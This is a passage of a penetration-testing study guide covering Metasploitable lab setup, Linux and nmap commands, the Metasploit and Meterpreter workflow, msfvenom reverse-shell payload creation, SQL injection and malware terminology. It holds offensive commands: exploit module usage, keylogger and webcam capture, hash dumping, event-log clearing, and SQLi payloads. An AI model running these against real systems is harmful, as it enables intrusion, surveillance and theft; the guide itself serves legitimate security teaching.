2 · METASPLOITABLE 2

Property	Value
Type	Intentionally vulnerable Ubuntu Linux VM
Created by	Rapid7
Download size	~800 MB
Default credentials	msfadmin / msfadmin
Download URL 1	https://information.rapid7.com/metasploitable-download.html
Download URL 2	https://sourceforge.net/projects/metasploitable/
Compatible	VMware Player/Workstation/Server, VirtualBox
Setup	Unzip → open .vmx in VMware or attach .vmdk in VirtualBox
Find IP	Login → ifconfig → note inet under eth0
Network for lab	Host-Only or Internal (NEVER expose to internet)

Key Vulnerable Services:

Service	Port	Vulnerability
vsftpd 2.3.4	21	Backdoor — unauthenticated RCE (famous)
UnrealIRCd 3.2.8.1	6667	Backdoor in binary
Samba 3.0.20	139/445	usermap_script — command execution
Ingreslock	1524	Root shell bound directly — instant root
MySQL	3306	Root with no password
PostgreSQL	5432	Weak credentials
Apache Tomcat	8180	Weak manager creds → WAR deploy → RCE
PHP CGI	80	Remote code execution
Distcc	3632	RCE via compiler daemon
NFS	2049	World-readable shares
DVWA	80/dvwa	Damn Vulnerable Web App — web attack practice
Mutillidae	80	Vulnerable web app
Twiki	80	Command injection
Telnet/FTP/rlogin	Various	Cleartext protocols enabled

Basic Metasploit workflow against MS2:

```
msfconsole → use exploit/unix/ftp/vsftpd_234_backdoor → set RHOST <ip> → run
nmap -sV -O <metasploitable-ip> (from Kali)
```

3 · METASPLOITABLE 3

Property	Metasploitable 2	Metasploitable 3
OS	Ubuntu Linux	Ubuntu 14.04 (ub1404) OR Windows Server 2008 R2 (win2k8)
Setup	Download ZIP, unzip, open	vagrant up (built via Vagrant — 40-50 min first run)
Credentials	msfadmin/msfadmin	vagrant/vagrant (both flavors)
GitHub	No	https://github.com/rapid7/metasploitable3
Customizable	No	Yes (Vagrantfile)

3.1 Vagrant Commands

Command	Effect
vagrant up win2k8	Start ONLY Windows VM (recommended — avoids 40-50 min wait for both)
vagrant up ub1404	Start ONLY Ubuntu VM
vagrant up	Start BOTH VMs (NOT recommended unless you have time)
vagrant halt	SAFE stop — preserves state, fast to restart
vagrant status	Check running/halted/not created
vagrant destroy	PERMANENTLY DELETE VM — rebuilds take 40-50 min. Use with caution!
vagrant reload	Restart + re-apply Vagrantfile
vagrant ssh	SSH into Linux VM

CRITICAL: Use *vagrant halt* between sessions. Only *vagrant destroy* if starting completely fresh.

Windows login inside VirtualBox: Press **Right CTRL + DELETE** (not **CTRL+ALT+DELETE**) → enter *vagrant/vagrant*

Get IP: Linux → ifconfig (look at eth0 inet); Windows → ipconfig (look at IPv4 Address) → this is RHOST in Metasploit

3.2 Vagrantfile Key Settings

Machine	Box	Hostname	IP	Memory	Communicator
ub1404	rapid7/metasploitable3-ub1404	metasploitable3-ub1404	172.28.128.3	2048 MB	SSH (vagrant/vagrant)
win2k8	rapid7/metasploitable3-win2k8	metasploitable3-win2k8	Vagrant DHCP	—	winrm (retry 60, delay 10)

3.3 MS3 Vulnerable Services — Windows (win2k8)

Service	Vulnerability
MS17-010 (EternalBlue)	SMB vuln used by WannaCry — major exploit, check with: <code>nmap --script=smb-vuln-ms17-010 -p 445</code>
Jenkins	Unauthenticated RCE via Groovy console
IIS + WebDAV	File upload + code execution
MS SQL Server	Default/weak SA password; <code>xp_cmdshell</code> for command exec
WinRM	Windows Remote Management — used by Vagrant, potentially exploitable
FileZilla FTP	Weak credentials
WordPress	Vulnerable plugins or weak admin creds

MS3 Vulnerable Services — Ubuntu (ub1404): Apache Struts (RCE via HTTP headers), Tomcat (WAR deploy), ProFTPD (backdoor), Samba, Docker (misconfigured daemon), Elasticsearch (unauth API), MantisBT (SQLi/XSS), MySQL (weak/no creds), Drupal.

3.4 Setup Steps for MS3 in VirtualBox

Step	Action
Prerequisites	VirtualBox installed; VT-x/AMD-V enabled in BIOS; internet; disk space
Install Vagrant	<code>sudo apt install vagrant</code> OR download from vagrantup.com
Get Vagrantfile	<code>mkdir metasploitable3 && cd metasploitable3 && curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile</code>
Start VM	<code>vagrant up win2k8</code> (first run downloads + provisions: 40-50 min)
Access VM	Open VirtualBox Manager → click Show → Right CTRL+DELETE → <i>vagrant/vagrant</i>
Get target IP	ipconfig (Windows) or ifconfig (Linux)
Stop safely	<code>vagrant halt</code> (use between sessions)

4 · LINUX COMMAND LINE ESSENTIALS

Prompt: `user@host:dir$` (\$ = normal user, # = root). Command syntax: `command [options] [arguments]`

4.1 Navigation

Command	Description
<code>pwd</code>	Print Working Directory — where am I?
<code>ls -la</code>	List all files (including hidden) in long format
<code>ls -lh</code>	Long format with human-readable sizes
<code>cd /etc</code>	Change to absolute path
<code>cd ..</code>	Go up one directory
<code>cd ~</code>	Go to home directory

Command	Description
cd -	Go to previous directory
find / -name '*.txt'	Find all .txt files from root
find /home -type f -name 'secret*'	Find files named secret* under /home
which python3	Full path to python3 command
whereis nmap	Location of binary, source, and man page

4.2 File Operations

Command	Description
touch file.txt	Create empty file or update timestamp
mkdir -p parent/child	Create nested directories
cp -r dir/ /backup/	Copy directory recursively
mv old.txt new.txt	Rename file
rm -rf dir/	FORCE delete directory recursively — DANGEROUS
cat /etc/passwd	Display file contents
less /var/log/syslog	View file one page at a time (q=quit, space=next)
head -20 file	Show first 20 lines
tail -20 file	Show last 20 lines
tail -f file.log	Follow file live (e.g. log monitoring)
wc -l /etc/passwd	Count lines in file
diff file1 file2	Show differences between two files
stat /etc/hosts	Show detailed metadata (permissions, timestamps, inode)
file mystery.bin	Determine file type
ln -s /etc/hosts hostslink	Create symbolic link

4.3 File Permissions

Symbol	Octal	Meaning
r	4	Read — view contents; list directory
w	2	Write — modify file; create/delete in dir
x	1	Execute — run file; enter directory (cd)
-	0	No permission
Example: -rwxr-xr--	754	owner=rwx, group=r-x, others=r--
Example: drwxr-xr-x	755	Directory; owner=rwx, group+others=r-x
chmod Example	Meaning	
chmod 755 script.sh	rwxr-xr-x — executable script	
chmod 644 file.txt	rw-r--r-- — readable by all, writable by owner	
chmod +x script.sh	Add execute for everyone	
chmod u+w file	Add write for owner only	
chmod o-r secret.txt	Remove read from others	
chmod -R 755 /var/www/	Recursive permission change	
chown user:group file	Change owner and group	
chown -R www-data /var/www/	Recursive ownership change	

Special Permissions:

Permission	Octal	Description / Security Relevance
SUID (Set User ID)	4xxx	File runs with OWNER's permissions (e.g. /usr/bin/passwd runs as root). PRIVESC TARGET.
SGID (Set Group ID)	2xxx	Runs with group permissions; dirs: new files inherit dir's group
Sticky bit	1xxx	Dirs: users can only delete OWN files. Used on /tmp.

find / -perm -4000 2>/dev/null — Find ALL SUID binaries (critical for privilege escalation!)

4.4 Users and Groups

Command	Description
whoami	Print current username
id	Show UID, GID, group memberships — CRITICAL for privesc checks
sudo -l	List sudo privileges for current user — EXAM CRITICAL for privesc
su - root	Switch to root with root's environment
last	Show login history
adduser username	Add new user
usermod -aG group user	Add user to group (a=append, G=supplementary)
/etc/passwd	User accounts: user:x:UID:GID:comment:home:shell — world-readable

Command	Description
/etc/shadow	Hashed passwords — ROOT ONLY — target for password attacks
/etc/sudoers	Sudo rules — edit safely with: visudo
/etc/group	Group definitions

4.5 Process Management

Command	Description
ps aux	All processes, full detail
ps -ef	All processes, different format
top	Real-time process monitor (q=quit, k=kill)
kill -9 PID	Force kill process by PID
killall firefox	Kill all processes named firefox
pgrep ssh	Find PID by name
lsof -i :80	What process is using port 80 — security critical
netstat -tulnp	All listening ports with PIDs (older)
ss -tulnp	All listening ports with PIDs (modern replacement)
nohup ./script.sh &	Run immune to logout; background

4.6 Networking Commands

Command	Description
ifconfig / ip addr show	Network interfaces and IPs
ip route show	Routing table
ping host	Test reachability
ssh user@host	Secure Shell remote login
ssh -p 2222 user@host	SSH on non-standard port
scp file.txt user@host:/tmp/	Secure copy over SSH
wget URL	Download file
curl -I http://site.com	HTTP headers only
host google.com	DNS lookup
dig google.com A	Detailed DNS query (A records)
dig google.com MX	Mail server records
arp -a	ARP cache — IP-to-MAC mappings on local network
nc (netcat)	Swiss Army knife: connect to ports, listen, transfer files, create shells

4.7 Text Processing

Command	Description
grep 'root' /etc/passwd	Search for pattern in file
grep -r 'password' /var/www/	Recursive search
grep -i 'error' log.txt	Case-insensitive
grep -v 'comment' file	Invert — exclude matches
grep -n pattern file	Show line numbers
grep -E '^root ^admin' /etc/passwd	Extended regex
sed 's/old/new/g' file.txt	Replace all occurrences (stdout)
sed -i 's/old/new/g' file.txt	In-place edit
awk '{print \$1}' file.txt	Print first column
awk -F: '{print \$1, \$3}' /etc/passwd	Use : as separator (user + UID)
cut -d: -f1 /etc/passwd	Cut field 1 with : delimiter (usernames)
sort -n file	Numeric sort
sort file uniq -c	Sort then count unique occurrences
tr 'a-z' 'A-Z'	Translate lowercase to uppercase

4.8 Redirection and Pipes

Operator	Meaning
> file	Redirect stdout to file (overwrite)
>> file	Redirect stdout to file (append)
2> file	Redirect stderr to file
2>&1	Redirect stderr to same destination as stdout
> file 2>&1	Both stdout and stderr to file
cmd1 cmd2	Pipe stdout of cmd1 to stdin of cmd2
< file	Use file as stdin

Operator	Meaning
2>/dev/null	Suppress error messages (discard to /dev/null)
&> file	Shorthand: both stdout and stderr to file

4.9 Key Security Files

File/Path	Contents / Security Use
/etc/passwd	User accounts (world-readable). Format: user:x:UID:GID:comment:home:shell
/etc/shadow	Password hashes — root only — target for hash extraction
/etc/sudoers	sudo rules — check with: sudo -l or sudo cat /etc/sudoers
/etc/crontab	System cron jobs — potential persistence/privesc
/var/log/auth.log	Auth logs: login attempts, sudo, SSH
/var/log/syslog	General system log
/proc/version	Kernel version — useful for kernel exploit identification
~/.bash_history	Command history — may contain passwords, interesting commands
~/.ssh/id_rsa	Private SSH key — VERY SENSITIVE
~/.ssh/authorized_keys	Allowed public keys for SSH login
/tmp and /var/tmp	World-writable — often used to drop exploits/payloads

4.10 Security One-Liners

Command	Purpose
find / -perm -4000 2>/dev/null	Find SUID binaries (privesc hunting)
find / -writable -type f 2>/dev/null	Find world-writable files
cat /etc/passwd cut -d: -f1	List all usernames
netstat -tulnp	All listening ports with PIDs
ps aux grep root	Processes running as root
sudo -l	Check sudo permissions for current user
id && whoami && uname -a	Quick system info dump
cat ~/.bash_history	Read command history
grep -r 'password' /var/www/ 2>/dev/null	Hunt for passwords in web files
ls -la /home/	List all home directories

5 · KALI LINUX IN VIRTUALBOX

Kali Linux: Debian-based, rolling release, maintained by Offensive Security. Pre-loaded with Metasploit, nmap, Wireshark, Burp Suite, Hydra, John, Hashcat, sqlmap, aircrack-ng, searchsploit, and hundreds more.

5.1 VM Creation Settings

Setting	Recommended Value
Type / Version	Linux / Debian (64-bit)
RAM	2048 MB minimum (4 GB+ if available)
CPUs	2
Hard Disk	80 GB, VDI, Dynamically allocated
Video Memory	128 MB
3D Acceleration	DISABLED — causes issues with Kali in VirtualBox
Shared Clipboard	Bidirectional
Drag'n'Drop	Bidirectional
Boot Order	Hard Disk first, Optical second, Floppy/Network disabled
PAE/NX	Enabled (multi-processor + hardware exec protection)
Chipset	PIIX3 (default)
Network for lab	Adapter 1: NAT (internet/updates); Adapter 2: Host-Only (lab)

VirtualBox Guest Tools auto-installed when Kali installer detects it's inside VirtualBox (virtualbox-guest-x11). Manual install: sudo apt install virtualbox-guest-x11

Expand disk: Power off → File > Tools > Virtual Media Manager → resize VDI → boot Kali → sudo apt install gparted → sudo gparted → resize partition.

5.2 Complete Lab Network Setup

VM	Adapter	Mode	Purpose
Kali (attacker)	Adapter 1	NAT	Internet access / updates
Kali (attacker)	Adapter 2	Host-Only	Reach lab targets
Metasploitable 2 (target)	Adapter 1	Host-Only	Same net as Kali Adapter 2
Metasploitable 3 (target)	—	Via Vagrantfile private_network	Static IP 172.28.128.3 (ub1404)

Discover hosts in lab: nmap -sn 192.168.56.0/24

Network mode reference for scenario: Kali internet-only=NAT; Kali attacking MS isolated=Host-Only; Kali+internet+lab=NAT+Host-Only; Kali visible on LAN=Bridged

5.3 Key Kali Tools

Tool	Purpose / Example
msfconsole	Primary exploitation framework — Metasploit
nmap	Network/port scanner
Wireshark	GUI packet capture and analysis
tcpdump	CLI packet capture: tcpdump -i eth0 -w capture.pcap
Burp Suite	Web app security proxy — intercept/modify HTTP
nikto	Web server vuln scanner: nikto -h http://target.com
dirb / gobuster	Web directory brute-forcing
John the Ripper	Password cracker: john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Hashcat	GPU-accelerated password cracker
hydra	Network login brute-forcer: hydra -l admin -P passwords.txt ssh://target
sqlmap	Automated SQL injection detection/exploitation
netcat (nc)	Port listener, file transfer, reverse shells
aircrack-ng	Wireless network security auditing
searchsploit	Search exploit-db offline: searchsploit vsftpd
Maltego	OSINT and information gathering

6 · NMAP — NETWORK MAPPER

Created by Gordon Lyon (Fyodor), 1997. Free, open-source. Industry-standard for recon, port scanning, service/OS detection, and vulnerability scripting. Pen-test lifecycle: (1) ping scan → find live hosts, (2) port scan → find open ports, (3) version scan → ID software, (4) OS detection, (5) NSE scripts → specific vulns.

Syntax: nmap [scan type] [options] [target] — target can be IP, range (192.168.1.1-50), subnet (/24), or hostname.

LEGAL WARNING: Scanning without authorization is illegal (Computer Fraud and Abuse Act, etc.). Only scan VMs you own.

6.1 Scan Types

Flag	Scan Type	Notes
-sS	SYN Scan (Stealth/Half-open)	DEFAULT when root. Fast, less logged. Most common.
-sT	TCP Connect Scan	Full 3-way handshake. Used when no root. More detectable.
-sU	UDP Scan	Slower; unreliable. Required for UDP services (DNS=53, SNMP=161).
-sA	ACK Scan	Map firewall rules; determine filtered/unfiltered.
-sN/-sF/-sX	Null/FIN/Xmas Scan	IDS evasion. Work on UNIX targets; Windows returns all closed.
-sV	Version Detection	Probes open ports for service name + version.
-O	OS Detection	Needs root. Guesses OS with confidence %.
-A	Aggressive	OS + versions + default scripts + traceroute.
-sn	Ping Scan	Host discovery ONLY — no port scan. Fast, low noise.
-Pn	No Ping	Skip host discovery — assume host is up. Use when ICMP blocked.

6.2 Port Specification

Option	Description
-p 22	Scan only port 22
-p 22,80,443	Scan specific ports
-p 1-1000	Scan range
-p-	Scan ALL 65535 ports (thorough but slow)
-p U:53,T:80	UDP 53 + TCP 80
--top-ports 100	Top 100 most common ports
--top-ports 1000	Top 1000 ports (default when no -p)
-F	Fast mode — top 100 only

6.3 Host Discovery

Command	Description
nmap -sn 192.168.56.0/24	Ping scan — find all live hosts, no port scan
nmap -sn 10.0.0.1-254	Ping scan over range
nmap -Pn 192.168.56.101	Skip ping (use when ICMP blocked, e.g. Windows/firewalled)
nmap -PS 192.168.56.101	TCP SYN ping to port 80
nmap -PA 192.168.56.101	TCP ACK ping (bypass some firewalls)
nmap -PE 192.168.56.101	ICMP echo ping (standard)

6.4 Timing Templates

Template	Name	Use Case
-T0	Paranoid	One probe every 5 min. Maximum IDS evasion.
-T1	Sneaky	Very slow. Real engagement IDS evasion.
-T2	Polite	Reduces bandwidth. Avoids overloading targets.
-T3	Normal	Default. Balanced speed and reliability.
-T4	Aggressive	STANDARD FOR LAB USE. Fast, reliable network assumed.
-T5	Insane	Maximum speed. May miss ports or overload target.

6.5 Port States

State	Meaning
open	Service actively accepting connections. PRIMARY TARGET.
closed	Port accessible but no service listening. Host is up.
filtered	Firewall/ACL blocking probes — cannot determine open/closed.
unfiltered	Accessible but open/closed unknown. Only in ACK scans.
open filtered	Cannot tell if open or filtered (common UDP/stealth).
closed filtered	Cannot determine. Only in IP ID idle scans.

6.6 NSE Scripts

Category	Purpose
auth	Test for default/blank credentials
brute	Brute-force login (SSH, FTP, HTTP, SMB)
default (-sC)	Safe info scripts run with -A. Banner grabbing, basic info.
discovery	DNS, SNMP, SMB shares, more info gathering
exploit	Attempt to exploit known vulns — use carefully, can crash services
vuln	Check for known CVEs — very useful for pen-testing
malware	Detect backdoors and infections
safe	Non-intrusive scripts — safe on any target

NSE Command Examples:

Command	Purpose
nmap -sC 192.168.56.101	Run default scripts
nmap --script=vuln 192.168.56.101	Run all vuln scripts
nmap --script=smb-vuln-ms17-010 -p 445 192.168.56.101	Check EternalBlue
nmap --script=ftp-anon -p 21 192.168.56.101	Check anonymous FTP
nmap --script=http-enum -p 80 192.168.56.101	Enumerate web dirs
nmap --script=ssh-brute 192.168.56.101	Brute-force SSH
nmap --script=banner 192.168.56.101	Grab all service banners
nmap --script=smb-enum-shares 192.168.56.101	List SMB shares
ls /usr/share/nmap/scripts/ grep smb	Find scripts by name

6.7 Output Formats

Flag	Format
-oN file.txt	Normal text (human-readable, same as screen)
-oX file.xml	XML (machine-readable, importable into Metasploit)
-oG file.gnmap	Grepable (easy grep/awk parsing)
-oA basename	ALL three formats at once → basename.nmap, .xml, .gnmap
-v / -vv	Verbose / very verbose
--open	Only show open ports
--reason	Show why each port is classified open/closed/filtered

6.8 Nmap with Metasploit (db_nmap)

msfconsole → db_nmap -sV -O 192.168.56.101 — scan and auto-save to Metasploit PostgreSQL database
hosts — view discovered hosts | services — view discovered services | services -p 21 — filter by port
db_nmap vs nmap: db_nmap saves results to DB; allows querying with hosts/services for organized pen-testing workflow.

6.9 Nmap Quick Recipes

Task	Command
Standard recon	nmap -sV -O -sC 192.168.56.101
All-in-one aggressive	nmap -A -T4 192.168.56.101
All 65535 ports + versions	nmap -p- -sV -T4 192.168.56.101

Task	Command
Top 20 UDP ports	<code>nmap -sU --top-ports 20 192.168.56.101</code>
Find live hosts on subnet	<code>nmap -sn 192.168.56.0/24</code>
Quick service scan on subnet	<code>nmap -sV --top-ports 100 192.168.56.0/24</code>
Full vuln scan	<code>nmap --script=vuln -sV 192.168.56.101</code>
EternalBlue check	<code>nmap --script=smb-vuln-ms17-010 -p 445 192.168.56.101</code>
FTP checks	<code>nmap --script=ftp-anon,ftp-bounce -p 21 192.168.56.101</code>
Save all output formats	<code>nmap -A -T4 192.168.56.101 -oA scan_results</code>
Slow stealth SYN scan	<code>nmap -sS -T2 -Ph 192.168.56.101</code>
Decoy scan (evasion)	<code>nmap -D RND:10 192.168.56.101</code>
Randomize source MAC	<code>nmap --spoof-mac 0 192.168.56.101</code>

7 · METASPLOIT FRAMEWORK (Chapters 13 & 14)

Created by H.D. Moore (2003), rewritten in Ruby (2007), acquired by Rapid7 (2009). Pre-installed on Kali. Online exploit DB: <https://www.rapid7.com/db/modules/>

7.1 Core Object Types

Type	Description
Exploits	Attack code for a specific vulnerability. Only works if target has that exact vuln.
Payloads	Code sent to and executed on target AFTER exploit succeeds (reverse shell, Meterpreter, cmd exec).
Auxiliary	Extra functionality: scanners (SMB, FTP, SSH, SQL, RDP). No exploitation — info gathering.
Encoders	Embed payloads into file types (PDF, AVI, EXE) for evasion or delivery. Used by msfvenom.

7.2 Starting Metasploit

```
service postgresql start → msfdb init → msfconsole
db_status – check database; should show "Connected to msf. Connection type: postgresql"
```

Without DB: Metasploit works but results not saved. DB needed for db_nmap, hosts, services commands.

7.3 Core msfconsole Commands

Command	Description
<code>search <term></code>	Search modules: <code>search vsftpd</code> / <code>search platform:Windows</code> / <code>search cve:2017</code>
<code>use <module></code>	Load module: <code>use exploit/unix/ftp/vsftpd_234_backdoor</code>
<code>show options</code>	Show required/optional settings for current module — RUN AFTER EVERY use
<code>show exploits</code>	List all exploits
<code>show payloads</code>	List compatible payloads for loaded exploit
<code>set RHOST <ip></code>	Set single target IP
<code>set RHOSTS <range></code>	Set multiple targets (range or /24 subnet)
<code>set LHOST <ip></code>	Set YOUR attacker IP (Kali) — for reverse shells
<code>set LPORT <port></code>	Set local listening port (default 4444)
<code>set payload <payload></code>	Set payload: <code>set payload windows/meterpreter/reverse_tcp</code>
<code>run / exploit</code>	Execute the configured module
<code>jobs</code>	List running background jobs
<code>kill <job_id></code>	Kill a running job — ALWAYS kill old jobs before new exploit
<code>sessions / sessions -l</code>	List active sessions (successful exploits)
<code>sessions -i <n></code>	Interact with session n
<code>background</code>	Send current session to background
<code>back</code>	Return to main msfconsole prompt
<code>info <module></code>	Detailed info about a module
<code>db_nmap <opts> <target></code>	Run nmap and save results to database
<code>hosts</code>	View hosts from db_nmap
<code>services</code>	View services from db_nmap
<code>exit / quit</code>	Quit msfconsole

*Linux is CASE-SENSITIVE: RHOST ≠ rhost. set ≠ SET. Frequent source of errors.
RHOSTS (plural) = accept range/subnet. RHOST (singular) = one target only. Check with show options.*

7.4 Searching for Exploits

Search Examples	
<code>search platform:Windows</code>	
<code>search name:mysql</code>	
<code>search cve:2011 author:jsmith platform:linux</code>	
<code>search path:scada</code>	

Also use: <https://www.rapid7.com/db/modules/> — shows author, targets, reliability.

7.5 Auxiliary Scanners

Scanner	Module Path	Key Options
SMB Version (detect Windows)	scanner/smb/smb_version	RHOSTS, THREADS
SQL Server	auxiliary/scanner/mssql/mssql_ping	RHOSTS, THREADS, USE_WINDOWS_AUTHENT=false
SSH Version	scanner/ssh/ssh_version	RHOSTS, THREADS
Anonymous FTP	auxiliary/scanner/ftp/anonymous	RHOSTS, RPORT=21, THREADS
FTP Version	auxiliary/scanner/ftp/ftp_version	RHOSTS
RDP Vuln (MS12-020)	auxiliary/scanner/rdp/ms12_020_check	RHOSTS, RPORT=3389, THREADS

All scanners: use → show options → set RHOSTS → run

7.6 Exploit Workflow

Step	Command
1. Find exploit	search <keyword> or rapid7.com/db/modules
2. Load exploit	use exploit/windows/browser/ms11_003_ie_css_import
3. Check options	show options
4. Set payload	set payload windows/meterpreter/reverse_tcp
5. Set target IP	set RHOST 192.168.1.177
6. Set attacker IP	set LHOST 192.168.1.234 (your Kali IP)
7. Set port	set LPORT 4444
8. Fire	exploit (or run)
9. Check sessions	sessions -l
10. Interact	sessions -i 1

7.7 Common Exploit Examples

Exploit	Module	Notes
vsftpd 2.3.4 backdoor	exploit/unix/ftp/vsftpd_234_backdoor	Against Metasploitable 2; set RHOST
CSS Import IE (Win7)	exploit/windows/browser/ms11_003_ie_css_import	Browser exploit; set URIPATH, LHOST; target visits URL
File format MCL	exploit/windows/fileformat/ms15_100_user_exe	User.exe path from Start>Run; social engineering
Windows XP DCOM	exploit/windows/dcerpc/ms03_026_dcom	Don't need user interaction; PAYLOAD=generic/shell_reverse_tcp
Win Server 2008 R2	exploit/windows/local/ms14_058_tracking_popup_notification	Win2k up to 2008 R2; NULL ptr deref; also XP, Win7
Office Sandworm	exploit/windows/fileformat/ms14_060_word_server	Word Server 2008/2012 + Office 2010/2013
Linux kernel	exploit/linux/local/sock_sendpage	Against Metasploitable Linux
Web delivery (multi)	exploit/multi/script/web_delivery	Browser exploit; Win/Linux/macOS
EternalBlue (MS17-010)	exploit/windows/smb/ms17_010_eternalblue	WannaCry vuln; against MS3 win2k8

'exploit completed, but no session was created' → target not vulnerable / wrong version / payload doesn't create interactive session. Try different exploit or payload. Kill old jobs first: jobs → kill

7.8 Meterpreter — Post-Exploitation Shell

Command	What it does
sysinfo	OS version, computer name, architecture of target
getuid	Current username on target
getpid	PID of current Meterpreter process
shell	Drop to native Windows/Linux shell (exit to return)
ps	List all running processes (get PIDs for migrate)
migrate <PID>	Migrate Meterpreter to another process (stability + privesc)
use priv / getsystem	Attempt privilege escalation to SYSTEM/root
ls / cd / pwd	File system navigation on target
download <file>	Download file from target to Kali
upload <file>	Upload file from Kali to target
cat <file>	Read file contents on target
rm / mkdir	Delete / create on target
screenshot	Take screenshot of target desktop
enumdesktops	List all desktops on target
webcam_list	List webcams
webcam_snap	Take still photo from webcam
webcam_stream	Live streaming video from webcam
record_mic	Record audio from microphone
keyscan_start	Start keylogger on target
keyscan_dump	Dump recorded keystrokes

Command	What it does
arp	ARP table — IP/MAC of nearby hosts (pivoting)
netstat	Active network connections (reveals security tools, IDS, SIEM)
ipconfig / ifconfig	Network interfaces on target
route	Routing table of target
portfwd	Port forwarding through compromised machine (pivoting)

7.9 Post-Exploit Modules

Command	What it does
run post/windows/gather/enum_logged_on_users	List all currently logged-on users
run post/windows/gather/checkvm	Check if target is a VM (honeypot detection)
run post/windows/gather/enum_applications	List all installed applications
run post/windows/gather/usb_history	List all USB devices ever connected
run post/windows/gather/hashdump	Dump Windows password hashes → crack with Hashcat/John
run post/multi/recon/local_exploit_suggester	Suggest local privesc exploits
use post/windows/gather/enum_patches	List installed patches (find missing vulns)
run post/windows/gather/credentials/credential_collector	Collect local saved credentials
run post/windows/wlan/wlan_profile	Get Wi-Fi profiles + passwords
clearev	Clear Windows event logs (destroys forensic evidence — avoid in real pen-tests)
run event_manager -i	Interact with Windows Event Manager
use post/linux/gather/enum_configs	Get Linux config files
use post/linux/gather/enum_system	Get Linux system information

7.10 msfvenom — Standalone Payloads

Run from KALI SHELL (not inside msfconsole). Combines old msfpayload + msfencode.

Flag	Meaning
-p <payload>	The payload: windows/meterpreter/reverse_tcp
-f <format>	Output format: exe, pdf, avi, raw, etc.
-e <encoder>	Encoder for AV evasion
-a <arch>	CPU architecture: x86, x64
--platform <OS>	Target OS: Windows, Linux, OSX, Android, etc. (case-insensitive)
-o <file>	Output filename
lhost=<ip>	Attacker's IP (for reverse connections)
lport=<port>	Attacker's listening port
-l payloads	List all available payloads
-h	Show all options

Examples:

```
msfvenom -l payloads - list all payloads
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.56.101 lport=4444 -f exe -o payload.exe
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost=192.168.56.101 lport=4444 -f exe -o payload.exe
```

After creating payload, set up listener in msfconsole:

```
use exploit/multi/handler → set payload windows/meterpreter/reverse_tcp → set LHOST 192.168.56.101 → set LPORT 4444 → exploit
```

8 · SQL INJECTION (SQLi) — Chapter 5.4

SQLi exploits insufficient input validation in web apps to inject malicious SQL into backend database queries. Goals: data extraction, modification/deletion, OS command execution, DoS.

Mechanism: Premature string termination + appended SQL. Injected string terminated with -- (comment) to ignore remaining original query.

Example: Input 'Boston\'; DROP table OrdersTable--' → SELECT * FROM OrdersTable WHERE ShipCity = 'Boston'; DROP table OrdersTable--

8.1 Attack Avenues

Avenue	Description
User input	Form submissions via HTTP GET or POST
Server variables	HTTP/network headers, env variables logged to DB without sanitisation
Second-order injection	Stored malicious data used later in a new query
Cookies	Client-controlled cookies altered to modify SQL query
Physical user input	Barcodes, RFID tags, OCR-scanned paper forms

8.2 Attack Types

Type	Category	Mechanism / Key Fact
Tautology	Inband	' OR 1=1 -- makes WHERE always true. Returns ALL rows. Bypasses passwords.
End-of-line comment	Inband	-- after payload ignores rest of original query.
Piggybacked queries	Inband	Semicolon adds 2nd statement (e.g. DROP TABLE). Needs server config allowing multiple queries.
Illegal queries	Inferential/Blind	Wrong query forces error messages revealing DB type, structure, table names.
Blind SQLi	Inferential/Blind	TRUE/FALSE questions. TRUE=page normal. FALSE=page changes. No data shown.
Second-order	Inband	Stored payload triggers when retrieved + re-used later.
Out-of-band	Out-of-band	DB emails/DNS results to attacker. Bypasses in-band filtering.

8.3 SQLi Countermeasures

Approach	Method	Description
Defensive Coding	Manual	Input type checking; pattern matching for abnormal input
Defensive Coding	Parameterised queries (prepared statements)	SQL statements specified separately from parameters — user input CANNOT modify query structure
Defensive Coding	SQL DOM	Type-checked API for query building; replaces string concatenation
Detection	Signature-based	Matches known attack patterns. Needs constant updates. Fails vs self-modifying attacks.
Detection	Anomaly-based	Normal baseline → detect deviations. Catches novel attacks. False-positive risk.
Detection	Code analysis	Test suite generates wide range of SQLi to assess system response.
Run-time Prevention	—	Verifies queries at runtime against model of expected queries. Last line of defence.

9 · MALWARE (Chapter 6)

Malware = software inserted covertly to compromise CIA of data/apps/OS or disrupt the victim (NIST SP 800-83).

Classification axes: (1) Propagation: Viruses (infected content), Worms (vuln exploit), Trojans/Social Engineering. (2) Payload: System corruption, Attack agent, Info theft, Stealthling.

9.1 Key Malware Terminology

Term	Definition
Virus	Replicates by attaching to executable content; needs host program; user must execute infected file.
Worm	Self-contained; propagates independently over networks via vuln exploit. No host needed.
Trojan horse	Useful-looking program with hidden malicious function. Does NOT self-replicate.
Logic bomb	Dormant code activating on predefined condition (date, file presence, user ID, disk capacity).
Backdoor/Trapdoor	Bypasses normal security; provides unauthorized access. Often network service on non-standard port.
Rootkit	Tools maintaining covert root access while hiding presence. Subverts OS monitoring mechanisms.
Bot/Zombie/Drone	Compromised host controlled remotely via C&C. Part of a botnet.
Botnet	Network of bots acting coordinately under attacker control. DDoS, spam, spyware, click fraud.
Keylogger	Captures keystrokes to steal credentials. Bypasses HTTPS (captures before encryption).
Spyware	Broader monitoring: browsing history, form capture, dynamic page modification. Example: Zeus.
Ransomware	Encrypts user data; demands ransom. ~25% of all breaches 2021. WannaCry = SMB worm + ransomware.
Drive-by-download	Compromised website exploits browser/plugin vuln to install malware silently (just by visiting).
Watering-hole	Compromise sites known to be visited by target victims. Targeted drive-by.
Malvertising	Malware in online ads placed on legitimate sites. Short-lived; hard to track.
Clickjacking (UI redress)	Transparent/opaque layers hijack user clicks; can also hijack keystrokes via iframes.
Phishing	Spam → fake login page mimicking legitimate service. Mass-distributed via botnets.
Spear-phishing	Targeted phishing using researched personal details. Much higher success rate.
APT	Advanced+Persistent+Threat: sustained, state-sponsored, targeted campaign. Uses zero-days.
Zero-day exploit	Exploit of unknown vulnerability; no patch exists at time of attack.
Blended attack	Combines multiple propagation mechanisms and payloads simultaneously.
Mobile code	Scripts/macros running unchanged on heterogeneous platforms (JS, Java applets, ActiveX).

9.2 Virus Details

Virus structure: (1) Infection mechanism (vector), (2) Trigger (logic bomb), (3) Payload.

Phase	Description
Dormant	Idle, waiting for trigger event. Not all viruses have this.
Propagation	Places copies into programs/disk. Copies may be morphed to evade detection.
Triggering	Activated by event (date, count of copies made, specific conditions).
Execution	Payload runs — harmless (message) or destructive (delete files).
Concealment Strategy	Description
Encrypted	Encrypts body with random key. No constant bit pattern to scan.
